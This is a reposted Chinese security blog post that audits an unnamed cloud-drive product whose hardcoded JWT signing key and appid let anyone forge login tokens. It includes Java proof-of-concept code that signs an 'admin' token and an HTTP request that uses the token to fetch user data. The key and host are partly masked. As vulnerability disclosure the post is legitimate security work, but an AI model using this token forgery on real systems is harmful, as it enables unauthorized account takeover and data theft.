文章总结: 本文审计某网盘发现硬编码JWT密钥导致任意用户登录漏洞。系统使用固定appid和密钥,攻击者可利用该密钥伪造任意用户Token。文章展示了利用Java代码生成admin身份Token并发送请求,成功获取用户数据。建议开发避免硬编码敏感信息,采用动态配置管理。 综合评分: 85 文章分类: 代码审计,漏洞分析,WEB安全,漏洞POC
【代码审计】某网盘硬编码导致任意用户登录
原创
Hyyrent Hyyrent
0xSecurity
2026年2月4日 11:26 广东
由于系统初始化的⼯程中,定义了默认值的appid和jwttoken加密密钥。 box-servicecenter,C8E6460D2816xxxxxxx2E170B57E9F 导致攻击者可以利⽤此密钥⽣成对应⽤户的jwtToken
pom.xml
<?xmlversion="1.0"encoding="UTF-8"?>
<projectxmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>javarce</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<!--JWTDependencies-->
<dependency>
<groupId>io.jsonwebtoken</groupId>
<artifactId>jjwt-api</artifactId>
<version>0.11.2</version>
</dependency>
<dependency>
<groupId>io.jsonwebtoken</groupId>
<artifactId>jjwt-impl</artifactId>
<version>0.11.2</version>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>io.jsonwebtoken</groupId>
<artifactId>jjwt-jackson</artifactId>
<version>0.11.2</version>
<scope>runtime</scope>
</dependency>
<!--Addmoredependencieshereifneeded-->
</dependencies>
</project>
main.java
packageorg.example;
importio.jsonwebtoken.Jwts;
importio.jsonwebtoken.SignatureAlgorithm;
importio.jsonwebtoken.security.Keys;
importjavax.crypto.SecretKey;
importjava.util.Date;
publicclassMain {
/**
* 生成 JWT Token 的方法
*
* @param issuer 签发者
* @param subject 主题
* @param url URL
* @param secret 密钥
* @return JWT Token
*/
publicstaticStringcreateJWTToken(Stringissuer, Stringsubject, Stringurl, Stringsecret) {
// 设置过期时间为1小时
longexpirationTime=3600000; // 1 hour in milliseconds
// 设置签发时间为当前时间
Datenow=newDate();
// 生成 SecretKey
SecretKeykey=Keys.hmacShaKeyFor(secret.getBytes());
// 构建 JWT Token
returnJwts.builder()
.setIssuer(issuer)
.setSubject(subject)
.claim("url", url) // 设置URL声明
.setIssuedAt(now) // 设置签发时间
.setExpiration(newDate(now.getTime() +expirationTime)) // 设置过期时间
.signWith(key, SignatureAlgorithm.HS256) // 使用HS256算法签名
.compact();
}
publicstaticvoidmain(String[] args) {
// 示例 JWT Token 和超时时间
Stringtoken=createJWTToken("box-servicecenter", "admin", "https://xxxxx/v2/user/messsss", "C8E6460D2816xxxxxxx2E170B57E9F");
// 打印生成的 Token
System.out.println("Generated JWT Token: "+token);
}
}
使⽤该代码⽣成jwtToken,subject为⽤户名,这⾥为admin,url为访问地址
生成的JWT token发送数据包
GET /v2/user/messsss HTTP/1.1
Host: xxxx
Cookie: language=zh; JBOXSESSIONID=47169DCDBC8D6F5B638A651E8CCBF7B4
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Authorization: LenovoToken eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJib3gtc2VydmljZWNlbnRlciIsInN1YiI6ImFkbWluIiwidXJsIjoiaHR0cHM6Ly9pYm94LmVic2NuLmNvbS92Mi91c2VyL21lc3Nzc3MiLCJpYXQiOjE3MTgwNjk4NjQsImV4cCI6MTcxODA3MzQ2NH0.-y5_f9xAPjuNwADDQasizmhCiW8D4f1pewXlyv1Fi6Q
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=1
Te: trailers
Connection: close
获取token
成功获取用户信息数据
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:0xSecurity Hyyrent Hyyrent《【代码审计】某网盘硬编码导致任意用户登录》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论